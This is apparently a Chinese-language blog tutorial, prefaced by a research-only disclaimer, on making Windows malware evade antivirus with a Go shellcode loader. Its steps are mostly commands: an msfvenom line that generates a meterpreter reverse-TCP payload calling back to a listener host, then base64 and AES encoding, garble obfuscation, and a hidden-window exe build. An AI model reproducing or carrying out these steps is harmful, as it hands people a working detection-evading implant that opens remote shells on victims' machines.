本文仅供安全研究与学习之用,反对一起危害网络安全行为及其他用途,由使用者承担全部法律及连带责任,作者不承担任何法律及连带责任。
关于
在前面的文章中,我们讲到了利用Python实现加载shellcode实现文件的免杀。本文我们来探讨基于GO的免杀吧。
安装
我们需要先安装go环境。在kali中执行下面命令进行安装。
sudo apt-get update && sudo apt-get install -y golang
接下来,我们需要克隆项目到我们的本地。
git clone https://github.com/HZzz2/go-shellcode-loader.git
cd go-shellcode-loader
//下条命令安装第三方混淆库
go install mvdan.cc/garble@latest
生成shellcode并base64
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.123.43 LPORT=5555 -f raw > kali.raw
base64 -w 0 -i kali.raw > kali.bs64
cat kali.bs64
复制shellcode到aes-sc.go
中的44
行替换payload
运行aes-sc.go
生成AES加密后的值
go run aes-sc.go
复制输出的值到go-sc.go
中的52行替换payload
编译成exe可执行程序
garble -tiny -literals -seed=random build -ldflags="-w -s -H windowsgui" -race go-sc.go
没有回复内容